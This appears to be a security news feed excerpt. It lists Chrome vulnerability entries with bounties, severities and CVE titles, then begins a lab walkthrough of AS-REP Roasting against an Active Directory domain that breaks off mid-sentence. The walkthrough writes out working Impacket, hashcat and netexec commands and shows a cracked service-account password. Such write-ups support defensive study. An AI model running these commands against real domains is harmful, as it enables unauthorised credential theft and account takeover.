DeviceBoundSessionCredentials  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511722207"><span>[511722207</span></a><span>] </span><span>High</span><span> CVE-2026-13815 Use after free in Blink  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511712766"><span>[511712766</span></a><span>] </span><span>High</span><span> CVE-2026-13814 Use after free in Views  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511290389"><span>[511290389</span></a><span>] </span><span>Low</span><span> CVE-2026-14395 Out of bounds write in V8  on  2026-05-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511263221"><span>[511263221</span></a><span>] </span><span>Low</span><span> CVE-2026-14394 Use after free in V8  on  2026-05-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511255112"><span>[511255112</span></a><span>] </span><span>Medium</span><span> CVE-2026-14393 Use after free in V8  on  2026-05-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511249430"><span>[511249430</span></a><span>] </span><span>Medium</span><span> CVE-2026-13919 Insufficient data validation in Extensions  on  2026-05-08 </span></p><p dir="ltr"><span>[$3000.0] </span><a href="https://issuetracker.google.com/510829679"><span>[510829679</span></a><span>] </span><span>High</span><span> CVE-2026-13793 Insufficient policy enforcement in SVG  on  2026-05-07 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/507263861"><span>[507263861</span></a><span>] </span><span>Low</span><span> CVE-2026-14026  Misleading Directory Upload via Split View Context Confusion   on  2026-04-28 </span></p><p dir="ltr"><span>[$0.0] </span><a href="https://issuetracker.google.com/507099867"><span>[507099867</span></a><span>] </span><span>Low</span><span> CVE-2026-14072 Incorrect security UI in SplitView Reported by [] on  2026-04-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/507239830"><span>[507239830</span></a><span>] </span><span>Medium</span><span> CVE-2026-13911 Insufficient data validation in Spellcheck  on  2026-04-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/507237563"><span>[507237563</span></a><span>] </span><span>Low</span><span> CVE-2026-14073 Insufficient policy enforcement in WebXR  on  2026-04-27 </span></p><p dir="ltr"><span>[$3000.0] </span><a href="https://issuetracker.google.com/507090179"><span>[507090179</span></a><span>] </span><span>Medium</span><span> CVE-2026-13858 Out of bounds read in FFmpeg  on  2026-04-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/506558270"><span>[506558270</span></a><span>] </span><span>Critical</span><span> CVE-2026-13774 Use after free in Extensions  on  2026-04-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/506149253"><span>[506149253</span></a><span>] </span><span>High</span><span> CVE-2026-13811 Use after free in IME  on  2026-04-24 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/506143724"><span>[506143724</span></a><span>] </span><span>Low</span><span> CVE-2026-14071 Side-channel information leakage in WebAudio  on  2026-04-24 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/505933538"><span>[505933538</span></a><span>] </span><span>Medium</span><span> CVE-2026-13909 Insufficient policy enforcement in DevTools  on  2026-04-23 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/505137978"><span>[505137978</span></a><span>] </span><span>Low</span><span> CVE-2026-14070 Uninitialized Use in WebNN  on  2026-04-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/505136542"><span>[505136542</span></a><span>] </span><span>Low</span><span> CVE-2026-14069 Integer overflow in WebNN  on  2026-04-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/504613867"><span>[504613867</span></a><span>] </span><span>Medium</span><span> CVE-2026-13906 Out of bounds read in Codecs  on  2026-04-20 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/504600482"><span>[504600482</span></a><span>] </span><span>Low</span><span> CVE-2026-13810 Inappropriate implementation in Input on focus. This allows XSS to silently harvest saved passwords on page load without clicks, bypassing mandatory user gesture security checks.  on  2026-04-20 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503912196"><span>[503912196</span></a><span>] </span><span>Medium</span><span> CVE-2026-13903 Insufficient policy enforcement in Bluetooth  on  2026-04-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503617508"><span>[503617508</span></a><span>] </span><span>Low</span><span> CVE-2026-14065 Insufficient validation of untrusted input in PageInfo  on  2026-04-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503585173"><span>[503585173</span></a><span>] </span><span>Medium</span><span> CVE-2026-13901 Insufficient validation of untrusted input in Serial  on  2026-04-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503333798"><span>[503333798</span></a><span>] </span><span>High</span><span> CVE-2026-13806 Insufficient validation of untrusted input in Accessibility  on  2026-04-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503054174"><span>[503054174</span></a><span>] </span><span>High</span><span> CVE-2026-14390 Use after free in ANGLE  on  2026-04-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502473563"><span>[502473563</span></a><span>] </span><span>Low</span><span> CVE-2026-14063 Out of bounds memory access in Chromecast  on  2026-04-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502448128"><span>[502448128</span></a><span>] </span><span>Low</span><span> CVE-2026-14062 Inappropriate implementation in Views on ChromeOS  on  2026-04-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502434484"><span>[502434484</span></a><span>] </span><span>Low</span><span> CVE-2026-14061 Inappropriate implementation in Dawn on hardware with 1ns timestamp period  on  2026-04-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502374993"><span>[502374993</span></a><span>] </span><span>Medium</span><span> CVE-2026-13900 Insufficient validation of untrusted input in Chromecast  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502363986"><span>[502363986</span></a><span>] </span><span>Low</span><span> CVE-2026-14059 Insufficient policy enforcement in Related-Website-Sets on RWS removal  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502354038"><span>[502354038</span></a><span>] </span><span>Low</span><span> CVE-2026-14058 Policy bypass in Parser  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502212647"><span>[502212647</span></a><span>] </span><span>Low</span><span> CVE-2026-14057 Insufficient policy enforcement in FedCM  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502109002"><span>[502109002</span></a><span>] </span><span>Medium</span><span> CVE-2026-13899 Use after free in HTML  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501925480"><span>[501925480</span></a><span>] </span><span>Medium</span><span> CVE-2026-13898 Use after free in Cast Receiver  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501888426"><span>[501888426</span></a><span>] </span><span>Low</span><span> CVE-2026-14056 Insufficient validation of untrusted input in Media  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501877896"><span>[501877896</span></a><span>] </span><span>Medium</span><span> CVE-2026-13897 Insufficient policy enforcement in Chromecast  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501873032"><span>[501873032</span></a><span>] </span><span>High</span><span> CVE-2026-13804 Use after free in Chromecast  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501851312"><span>[501851312</span></a><span>] </span><span>Low</span><span> CVE-2026-14054 Insufficient policy enforcement in Network  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501836539"><span>[501836539</span></a><span>] </span><span>Low</span><span> CVE-2026-14053 Insufficient policy enforcement in Extensions  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501820076"><span>[501820076</span></a><span>] </span><span>Medium</span><span> CVE-2026-13896 Insufficient policy enforcement in Glic  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501810874"><span>[501810874</span></a><span>] </span><span>Low</span><span> CVE-2026-14052 Insufficient policy enforcement in FileSystem  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501770542"><span>[501770542</span></a><span>] </span><span>Medium</span><span> CVE-2026-13895 Inappropriate implementation in Autofill  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501741117"><span>[501741117</span></a><span>] </span><span>Medium</span><span> CVE-2026-13894 Insufficient policy enforcement in Network  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501729582"><span>[501729582</span></a><span>] </span><span>Medium</span><span> CVE-2026-13893 Insufficient validation of untrusted input in WebUI  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501708647"><span>[501708647</span></a><span>] </span><span>Low</span><span> CVE-2026-14050 Insufficient policy enforcement in Passwords  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501659888"><span>[501659888</span></a><span>] </span><span>Low</span><span> CVE-2026-14049 Inappropriate implementation in GPU  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501631475"><span>[501631475</span></a><span>] </span><span>Medium</span><span> CVE-2026-13891 Insufficient validation of untrusted input in Extensions  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501623322"><span>[501623322</span></a><span>] </span><span>High</span><span> CVE-2026-13802 Use after free in Views  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500601345"><span>[500601345</span></a><span>] </span><span>Medium</span><span> CVE-2026-13890 Out of bounds read in Chromecast  on  2026-04-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500587568"><span>[500587568</span></a><span>] </span><span>High</span><span> CVE-2026-13801 Integer overflow in Chromecast  on  2026-04-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500566906"><span>[500566906</span></a><span>] </span><span>Medium</span><span> CVE-2026-13888 Use after free in Extensions  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500505046"><span>[500505046</span></a><span>] </span><span>Medium</span><span> CVE-2026-14389 Integer overflow in Skia  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500476886"><span>[500476886</span></a><span>] </span><span>Medium</span><span> CVE-2026-14388 Out of bounds read in ANGLE  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500475136"><span>[500475136</span></a><span>] </span><span>Medium</span><span> CVE-2026-13886 Policy bypass in Isolated Web Apps  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500305404"><span>[500305404</span></a><span>] </span><span>Medium</span><span> CVE-2026-14387 Integer overflow in Skia  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500077014"><span>[500077014</span></a><span>] </span><span>Medium</span><span> CVE-2026-13884 Heap buffer overflow in Chromecast  on  2026-04-06 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500030250"><span>[500030250</span></a><span>] </span><span>Medium</span><span> CVE-2026-13883 Type Confusion in ANGLE  on  2026-04-06 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499252371"><span>[499252371</span></a><span>] </span><span>High</span><span> CVE-2026-13799 Use after free in QUIC  on  2026-04-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499189601"><span>[499189601</span></a><span>] </span><span>Low</span><span> CVE-2026-14048 Use after free in Chromecast  on  2026-04-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499162550"><span>[499162550</span></a><span>] </span><span>Medium</span><span> CVE-2026-13882 Inappropriate implementation in USB  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499100491"><span>[499100491</span></a><span>] </span><span>Medium</span><span> CVE-2026-13881 Insufficient data validation in WebAppInstalls  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499048914"><span>[499048914</span></a><span>] </span><span>High</span><span> CVE-2026-13798 Heap buffer overflow in Chromecast  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499025645"><span>[499025645</span></a><span>] </span><span>High</span><span> CVE-2026-13797 Insufficient validation of untrusted input in Chromecast  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499022239"><span>[499022239</span></a><span>] </span><span>Medium</span><span> CVE-2026-13879 Use after free in Bluetooth  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498864176"><span>[498864176</span></a><span>] </span><span>Low</span><span> CVE-2026-14047 Insufficient policy enforcement in Extensions  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498820206"><span>[498820206</span></a><span>] </span><span>Medium</span><span> CVE-2026-13877 Insufficient validation of untrusted input in ANGLE  on  2026-04-01 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498722200"><span>[498722200</span></a><span>] </span><span>Medium</span><span> CVE-2026-13876 Inappropriate implementation in Network  on  2026-04-01 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498411773"><span>[498411773</span></a><span>] </span><span>Medium</span><span> CVE-2026-13874 Inappropriate implementation in DataTransfer  on  2026-03-31 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498085466"><span>[498085466</span></a><span>] </span><span>Medium</span><span> CVE-2026-13873 Out of bounds memory access in Layout  on  2026-03-31 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497961376"><span>[497961376</span></a><span>] </span><span>Medium</span><span> CVE-2026-13871 Insufficient data validation in GuestView  on  2026-03-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497723649"><span>[497723649</span></a><span>] </span><span>Low</span><span> CVE-2026-14045 Insufficient validation of untrusted input in Network  on  2026-03-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497670996"><span>[497670996</span></a><span>] </span><span>Low</span><span> CVE-2026-14044 Use after free in ANGLE  on  2026-03-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497632232"><span>[497632232</span></a><span>] </span><span>Low</span><span> CVE-2026-14043 Use after free in GetUserMedia  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497558336"><span>[497558336</span></a><span>] </span><span>Low</span><span> CVE-2026-14042 Inappropriate implementation in Isolated Web Apps  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497544822"><span>[497544822</span></a><span>] </span><span>Low</span><span> CVE-2026-14041 Insufficient policy enforcement in Serial  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497488593"><span>[497488593</span></a><span>] </span><span>Low</span><span> CVE-2026-14040 Use after free in BrowserTag  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497358012"><span>[497358012</span></a><span>] </span><span>Low</span><span> CVE-2026-14039 Insufficient policy enforcement in GetUserMedia  on  2026-03-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497345177"><span>[497345177</span></a><span>] </span><span>Medium</span><span> CVE-2026-13867 Inappropriate implementation in Geolocation  on  2026-03-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497241148"><span>[497241148</span></a><span>] </span><span>Low</span><span> CVE-2026-14038 Insufficient validation of untrusted input in New Tab Page  on  2026-03-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497090912"><span>[497090912</span></a><span>] </span><span>Medium</span><span> CVE-2026-13865 Insufficient validation of untrusted input in Enterprise  on  2026-03-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496522611"><span>[496522611</span></a><span>] </span><span>Low</span><span> CVE-2026-14037 Insufficient policy enforcement in GPU  on  2026-03-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496411061"><span>[496411061</span></a><span>] </span><span>Low</span><span> CVE-2026-14036 Insufficient policy enforcement in Bluetooth  on  2026-03-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496399913"><span>[496399913</span></a><span>] </span><span>Medium</span><span> CVE-2026-13864 Insufficient policy enforcement in WebHID  on  2026-03-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496371586"><span>[496371586</span></a><span>] </span><span>Low</span><span> CVE-2026-14035 Insufficient policy enforcement in Bluetooth  on  2026-03-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/495459838"><span>[495459838</span></a><span>] </span><span>Low</span><span> CVE-2026-14031 Incorrect security UI in File Input  on  2026-03-23 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/495456765"><span>[495456765</span></a><span>] </span><span>Medium</span><span> CVE-2026-13861 Use after free in Core  on  2026-03-23 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/492410546"><span>[492410546</span></a><span>] </span><span>Medium</span><span> CVE-2026-14383 Inappropriate implementation in V8  on  2026-03-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/491894115"><span>[491894115</span></a><span>] </span><span>High</span><span> CVE-2026-13796 Integer overflow in Chromecast  on  2026-03-11 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/488762971"><span>[488762971</span></a><span>] </span><span>Low</span><span> CVE-2026-14030 Incorrect security UI in SplitView  on  2026-03-01 </span></p><p dir="ltr"><span>[$5000.0] </span><a href="https://issuetracker.google.com/479203484"><span>[479203484</span></a><span>] </span><span>Medium</span><span> CVE-2026-13857 Inappropriate implementation in Geometry Reported by [Luan Herrera (@lbherrera_)] on  2026-01-27 </span></p><p dir="ltr"><span>[$10000.0] </span><a href="https://issuetracker.google.com/457771782"><span>[457771782</span></a><span>] </span><span>High</span><span> CVE-2026-13790 Side-channel information leakage in Scroll Reported by [] on  2025-11-04 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/417052041"><span>[417052041</span></a><span>] </span><span>Medium</span><span> CVE-2026-13860 Incorrect security UI in Autofill  on  2025-05-11 </span></p><p dir="ltr"><span>[$500.0] </span><a href="https://issuetracker.google.com/527385397"><span>[527385397</span></a><span>] </span><span>High</span><span> CVE-2026-15132 Uninitialized Use in V8  on  2026-06-24 </span></p><p dir="ltr"><span>[$500.0] </span><a href="https://issuetracker.google.com/527406824"><span>[527406824</span></a><span>] </span><span>High</span><span> CVE-2026-15133 Use after free in InterestGroups  on  2026-06-24 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/526542464"><span>[526542464</span></a><span>] </span><span>Medium</span><span> CVE-2026-15131 Insufficient data validation in Navigation  on  2026-06-22 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/526541544"><span>[526541544</span></a><span>] </span><span>High</span><span> CVE-2026-15130 Insufficient policy enforcement in Navigation  on  2026-06-22 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524045160"><span>[524045160</span></a><span>] </span><span>Critical</span><span> CVE-2026-15129 Use after free in Views  on  2026-06-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523756329"><span>[523756329</span></a><span>] </span><span>High</span><span> CVE-2026-15128 Inappropriate implementation in Forms  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523752265"><span>[523752265</span></a><span>] </span><span>High</span><span> CVE-2026-15127 Inappropriate implementation in WebGL  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523748081"><span>[523748081</span></a><span>] </span><span>High</span><span> CVE-2026-15126 Use after free in Forms  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523737685"><span>[523737685</span></a><span>] </span><span>High</span><span> CVE-2026-15125 Inappropriate implementation in Forms  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523735038"><span>[523735038</span></a><span>] </span><span>High</span><span> CVE-2026-15124 Insufficient policy enforcement in Passwords  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523729553"><span>[523729553</span></a><span>] </span><span>High</span><span> CVE-2026-15123 Insufficient data validation in DOM  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523712556"><span>[523712556</span></a><span>] </span><span>High</span><span> CVE-2026-15121 Use after free in WebRTC  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523505418"><span>[523505418</span></a><span>] </span><span>High</span><span> CVE-2026-15119 Inappropriate implementation in GetUserMedia  on  2026-06-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523238265"><span>[523238265</span></a><span>] </span><span>High</span><span> CVE-2026-15118 Use after free in Input  on  2026-06-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/522568496"><span>[522568496</span></a><span>] </span><span>High</span><span> CVE-2026-15117 Use after free in Payments  on  2026-06-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/522092013"><span>[522092013</span></a><span>] </span><span>High</span><span> CVE-2026-15116 Use after free in Actor  on  2026-06-09 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/520565945"><span>[520565945</span></a><span>] </span><span>High</span><span> CVE-2026-15114 Out of bounds read and write in Codecs  on  2026-06-05 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518006275"><span>[518006275</span></a><span>] </span><span>Critical</span><span> CVE-2026-15112 Use after free in Ozone  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517508651"><span>[517508651</span></a><span>] </span><span>High</span><span> CVE-2026-15111 Use after free in Views  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516899138"><span>[516899138</span></a><span>] </span><span>High</span><span> CVE-2026-15109 Uninitialized Use in ANGLE  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515443146"><span>[515443146</span></a><span>] </span><span>High</span><span> CVE-2026-15108 Integer overflow in Extensions API  on  2026-05-21 </span></p><p dir="ltr"><span>[$2000.0] </span><a href="https://issuetracker.google.com/503553615"><span>[503553615</span></a><span>] </span><span>Medium</span><span> CVE-2026-15107 Use after free in IndexedDB  on  2026-04-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/532929679"><span>[532929679</span></a><span>] </span><span>High</span><span> CVE-2026-15777 Use after free in UI  on  2026-07-09 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/532595489"><span>[532595489</span></a><span>] </span><span>High</span><span> CVE-2026-15776 Type Confusion in V8  on  2026-07-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/531319201"><span>[531319201</span></a><span>] </span><span>High</span><span> CVE-2026-15775 Insufficient policy enforcement in V8  on  2026-07-05 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/530646115"><span>[530646115</span></a><span>] </span><span>High</span><span> CVE-2026-15774 Use after free in Skia  on  2026-07-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/525317502"><span>[525317502</span></a><span>] </span><span>High</span><span> CVE-2026-15772 Use after free in GPU on Android via GLTextureHolder::ReadbackToMemory  on  2026-06-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524792614"><span>[524792614</span></a><span>] </span><span>High</span><span> CVE-2026-15770 Uninitialized Use in V8  on  2026-06-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/519731111"><span>[519731111</span></a><span>] </span><span>High</span><span> CVE-2026-15769 Insufficient validation of untrusted input in Linux Toolkit Theming  on  2026-06-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518007484"><span>[518007484</span></a><span>] </span><span>Critical</span><span> CVE-2026-15765 Use after free in Ozone  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517931625"><span>[517931625</span></a><span>] </span><span>High</span><span> CVE-2026-15768 Insufficient policy enforcement in HTML-in-Canvas  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517100492"><span>[517100492</span></a><span>] </span><span>Critical</span><span> CVE-2026-15764 Use after free in Ozone  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514748734"><span>[514748734</span></a><span>] </span><span>High</span><span> CVE-2026-15767 Heap buffer overflow in libyuv  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514010477"><span>[514010477</span></a><span>] </span><span>High</span><span> CVE-2026-15766 Uninitialized Use in Skia  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513795122"><span>[513795122</span></a><span>] </span><span>Medium</span><span> CVE-2026-15778 Insufficient validation of untrusted input in Navigation  on  2026-05-16 </span></p><br></span></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I AES-Roasted My Active Directory Lab (And How to Fix It)]]></title>
<description><![CDATA[AS-REP Roasting is one of the easiest ways to obtain Active Directory credentials without knowing a password. If a user has Kerberos Preauthentication disabled, the Domain Controller returns an AS-REP response that can be cracked offline.In this lab, I’ll show how I found a vulnerable account, cr...]]></description>
<link>https://tsecurity.de/de/3677785/hacking/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677785/hacking/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:18 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Qej6ZBLHabmXE6oZO8CZw.png"></figure><p>AS-REP Roasting is one of the easiest ways to obtain Active Directory credentials <strong>without knowing a password</strong>. If a user has <strong>Kerberos Preauthentication disabled</strong>, the Domain Controller returns an AS-REP response that can be cracked offline.</p><p>In this lab, I’ll show how I found a vulnerable account, cracked its password, and authenticated to the domain.</p><h3>Lab</h3><ul><li>Domain: lab.local</li><li>DC: 192.168.56.104</li><li>Attacker: Kali Linux</li></ul><h3>Step 1 — Guess Usernames</h3><p>The first step is getting valid usernames.</p><p>In a real environment, these could come from LinkedIn, company emails, or OSINT. For this lab, I created a simple users.txt file.</p><h3>Step 2 — Find Vulnerable Accounts</h3><p>I used <strong>GetNPUsers.py</strong> to check whether any user has Kerberos preauthentication disabled.</p><pre>GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 192.168.56.104 -no-pass</pre><p>If an account is vulnerable, Impacket returns an AS-REP hash.</p><p>In my lab, the account <strong>svc_sql</strong> was vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*opmClNnubizWsJ_lb710DQ.png"></figure><h3>Step 3 — Crack the Hash</h3><p>Next, I saved the hash into hash.txt and cracked it with Hashcat.</p><pre>hashcat -m 18200 hash.txt /home/&lt;user&gt;/Desktop/GOAD-LAB/GOAD/common-password-list/rockyou.txt</pre><p>Hashcat recovered the password:</p><pre>svc_sql : password@123</pre><p>Since this is an <strong>offline attack</strong>, the Domain Controller never sees the password guesses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUHP4nPsKVTRRhpEv2IlpA.png"></figure><h3>Step 4 — Verify the Credentials</h3><p>Finally, I verified the recovered password using NetExec.</p><pre>netexec smb 192.168.56.104 -u svc_sql -p 'password@123'</pre><p>Authentication was successful, confirming the credentials were valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mb2bcS4OR-v-hGZpme49WQ.png"></figure><h3>Why Does This Work?</h3><p>The account had <strong>“Do not require Kerberos Preauthentication”</strong> enabled.</p><p>Because of this, the Domain Controller returned an encrypted AS-REP response <strong>without asking for a password</strong>, allowing it to be cracked offline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*fC4iUheghHwM2dXIo0L0-A.png"></figure><p>If we disable 